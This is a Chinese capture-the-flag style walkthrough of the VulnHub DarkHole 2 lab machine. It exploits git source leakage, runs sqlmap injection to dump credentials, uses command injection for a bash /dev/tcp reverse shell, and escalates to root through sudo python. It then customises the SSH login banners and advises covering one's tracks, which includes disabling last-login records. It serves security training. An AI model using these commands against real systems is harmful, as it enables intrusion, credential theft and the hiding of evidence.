靶机下载地址: https://www.vulnhub.com/entry/darkhole-2,740/
教程链接地址: https://www.cnblogs.com/wdd-blog/p/15230826.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135 (由于设置成了 DHCP、可能多变)
靶机 DARKHOLE2:桥接于 192.168.31.1 的网卡,ip 未知
1) 确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机服务
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

2) 再次对其开放的端口进行详细的扫描
sudo nmap -A -p- 192.168.31.12 --min-rate=5000

-> 靶机 ip:192.168.31. 12 、靶机开放端口 22,80
-> 并且扫描到了再 80 端口上是存在 git 源码泄漏的
# 网站信息收集
打开 http://192.168.31.12 进行信息收集

扫描目录 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.12

依次对得到的目录信息进行访问搜索有价值的信息
http://192.168.31.12/login.php

http://192.168.31.12/dashboard.php

http://192.168.31.12/config/

http://192.168.31.12/config/config.php

通过对上述几个目录的信息收集,只能确定一个后台的登陆地址 login.php,和一个不被允许进入的 dashboard.php 两个信息
# .git 源码泄漏利用
在端口扫描阶段因为有.git 的信息,对.git 进行访问
http://192.168.31.12/.git/

利用 githack 对源码泄漏进行利用

wget https://github.com/lijiejie/GitHack/archive/refs/heads/master.zip -O Githack.zip -q;unzip -q Githack.zip;cd GitHack-master;
python3 GitHack.py http://192.168.31.12/.git

通过.git 文件可以得到此项目的源码

源码中有 config 是敏感文件,进行读取

得到了数据的账户密码 root:darkhole_2
但是通过 githack 的方式读取到的源码没有记录之前的 git 版本,没法使用 git 命令去获取到之前提交的版本
# git log 切换 git 分支
除了 githack 的利用方式之外还可以用如下方式
TF=$(mktemp -d); cd $TF;wget -r http://192.168.31.12/.git/ -q; cd $TF/192.168.31.12 && git clone. webapp && cd webapp

通过这种方式可以得到.git 文件,执行 git 的相关命令
git log
查看之前提交的版本,看到有一次提交信息是涉及到 login.php 的,切换到该分支查看
git reset --hard a4d900a8d85e8938d3601f3cef113ee293028e10

在 login.php 内容中看到了用户名和密码 lush@admin.com:321

# sqlmap 一把梭
通过得到的用户名和密码进入到了对方后台管理中心

观察 url 地址 http://192.168.31.94/dashboard.php?id=1
似乎是存在 sql 注入的,通过 burp 截取数据包

sqlmap -r 1.txt --dbs --batch

跑出来了数据库的名字 darkhole_2,继续测试数据库中有哪些表
sqlmap -r 1.txt --dbs --batch - D darkhole_2 --tables

得到两张表,选取 ssh 表去查看有哪些列
sqlmap -r 1.txt --dbs --batch - D darkhole_2 -T ssh --columns

得到此表下的三个字段 user、id、pass
sqlmap -r 1.txt --batch -D darkhole_2 -T ssh -C user,id,pass --dump

最终得到了数据库的用户名和密码 jehad:fool

凭借凭据 jehad 拿到了靶机上一个普通用户的权限

查看靶机上有没有开放特殊的端口

# curl 测试网站
发现在这台服务器上有 9999 端口正在运行,但是此端口被防火墙关掉了,我们在 kali 机器上无法访问此端口,可以做 ssh 端口转发将此端口映射到外面,当然也可以通过 curl 命令在这台 linux 机器上直接访问此网站
curl -vv 127.0.0.1:9999

可以看到所提交的数据包以及返回的数据包,并且可以看到页面是采用的 php 写的,返回了一个 cmd 的参数,很有可能是命令执行漏洞;执行系统命令,看当前这个网站是属于哪个用户下的
curl 127.0.0.1:9999?cmd=id;echo ''
echo ''
的作用使回显比较美观一些,没有实际的作用
得到了此网站是由用户 losy 的权限搞的,现在需要把 losy 用户的 shell 反弹
判断 losy 是否可以使用 nc 命令反弹 shell
curl 127.0.0.1:9999?cmd=which%20nc;echo ''

使用 nc 反弹 shell,并在 kali 上进行监听
curl 127.0.0.1:9999?cmd=nc%20192.168.31.99%204444%20-e%20/bin/bash;echo ''

反弹失败了,有可能是因为被禁用了 nc、也有可能是未采用 base 64 编码,需要都进行尝试一番,使用 bash 反弹 shell 时的命令执行成功了
curl 127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.99%2F4444%200%3E%261%27
采用的命令即是: bash -c 'bash -i >& /dev/tcp/192.168.31. 99 /4444 0>&1'

# 调整为标准终端
调整为一个标准的 tty 终端
1 | python3 -c "import pty;pty.spawn('/bin/bash')" |

1 | 调整TERM、stty的窗口大小 |

此刻的我们已经拿到了 losy 用户的 shell
# 历史遗留信息
在 kali 上给靶机传输一个 pspy 看看有没有敏感任务被执行

看到在 /opt/web 下有一个 php 启动本地 9999 端口的命令

由此造成了 9999 端口处的命令执行漏洞

到处查看文件,找到了在 bash_history 里边的敏感记录,当中有一个密码,发现这个密码不是 root 用户的,只是 losy 用户的,这个密码也可以爆破得到

通过 sudo -l
查到了一条隐私设置错误的记录
`sudo -u root python3 -c “import(‘os’).system(’/bin/bash’)”``

-> 提权成功拿到了 root 权限
# ssh 显示系统信息
对于 ssh 登陆之后有大量的系统信息展示出来,这在我们看来是完全没有必要的,而且占用了大量的屏幕不太友好,接下来就自定义 ssh 登陆后的信息

这是默认显示的信息,分了两部分,上面的是打印的系统信息,下面的是最后登陆到此服务器的时间和 ip
上边的信息来自来自 /run/motd.dynamic 文件

这个文件的信息无法修改,哪怕被清空了也会复原。

它是由 /etc/update-motd.d/ 下的几个脚本文件来动态生成的。将 /etc/update-motd.d/ 下的脚本移除或者去掉可执行权限可将此动态生成的系统信息去掉。
chmod -x /etc/update-motd.d/*;echo > /run/motd.dynamic;

反之,赋予这个文件夹所有文件可执行权限之后,可以显示出系统信息开启 linux 系统信息展示:
chmod +x /etc/update-motd.d/*
# ssh 最后登录 ip
下面的这条显示最后登陆信息是由 ssh 控制,ssh 默认是开启此记录的,可修改 ssh 的配置文件,令其消失不见,关闭最后登陆的日志命令如下:
sed -i 's/#PrintLastLog yes/PrintLastLog no/g' /etc/ssh/sshd_config;systemctl restart sshd

最后登陆的消息一般来说比较重要,可以方便的看到自己的机器是否有异地登陆的情况出现,开启最后登陆的日志命令如下:

# ssh 登录时 logo
很多时候我们需要自定义一些登陆后的 logo 展示,可以选在登陆前或者登陆后显示一些 logo,而 /etc/motd 的作用就是用来登陆之后会显示的内容,可在 https://www.bootschool.net/ascii 上进行字母的图形编码
开启 linux 登陆 logo 提示:
echo -e '\n\n\t\t██╗ ██╗ ████████╗\n\t\t╚██╗██╔╝ ╚══██╔══╝\n\t\t ╚███╔╝ ██║ \n\t\t ██╔██ ╗ ██║ \n\t\t██╔╝ ██╗███████╗██║ \n\t\t ╚═╝ ╚═╝╚══════╝╚═╝\n' > /etc/motd
-e 表示开启转义 \n 表示换行 \t 表示 tab 按键

关闭这个 logo 提示,只需要将 /etc/motd 清空就可以
echo > /etc/motd;vim /etc/motd +"d 1 " +wq
会有一个空格
cat /dev/null > /etc/motd
没有任何东西,直接清空文件

上述命令是用来展示或者不展示在 linux 登陆之后的 logo,还有一种方式是用来添加在 linux 登陆之前就来展示的 logo,使用 /etc/issue.net 来控制
sed -i 's/#Banner none/Banner \/etc\/issue.net/g' /etc/ssh/sshd_config;systemctl restart sshd; echo -e '\n\t\t███████╗██╗ ██╗██╗ ██╗\n\t\t╚══███╔╝╚██╗ ██╔╝██║ ██║\n\t\t ███╔╝ ╚████╔╝ ███████║\n\t\t ███╔╝ ╚██╔╝ ██╔══██║\n\t\t███████╗ ██║ ██║ ██║\n\t\t╚══════╝ ╚═╝ ╚═╝ ╚═╝' > /etc/issue.net

可以看到这条 logo 信息是在我们输入 root 密码之前就显示出来的,是在登陆前显示的,/etc/issue.net 的作用就是登陆前显示信息
将登陆后的信息也显示一下进行对比就更容易理解执行前面的命令,给 /etc/motd 重新打印出来了 X_T 的样式

/etc/issue.net 显示在登陆前,/etc/motd 显示在登陆后
一键关闭登陆前的信息展示
sed -i 's/Banner \/etc\/issue.net/#Banner none/g' /etc/ssh/sshd_config;systemctl restart sshd;echo > /etc/issue.net

# ssh 自定义登录文字
除了上述几种方式外,我们还可以添加自定义的语句到环境变量中,登陆到 shell 后就会执行
1 | 在环境变量里边添加figlet表示以一种方式去打印后面跟的字母或者数字 |

vim ~/.bashrcs 删除此条信息则不会在显示这条
# 一键删除登录信息
如果显示的信息太多了,影响视觉,有没有办法一键全部删除掉,答案是肯定的,在每个用户下执行创建.hushlogin 文件,则所有非环境变量里边的信息都再不会被显示出来
for USER in `cat /etc/passwd | grep /bin/bash |grep -v root | cut -d “:” -f 1` ;do touch /home/$USER/.hushlogin;done;touch /root/.hushlogin

一键删除阻碍登陆日志信息输出的文件:
for USER in `cat /etc/passwd | grep /bin/bash |grep -v root | cut -d “:” -f 1` ;do rm -f /home/$USER/.hushlogin;done;rm -f /root/.hushlogin

根据以上的信息就可以自定义 ssh 登陆的信息自定义的设置,当然最后记得复原,并且删除自己操作过的痕迹,防止被知道自己操作过什么。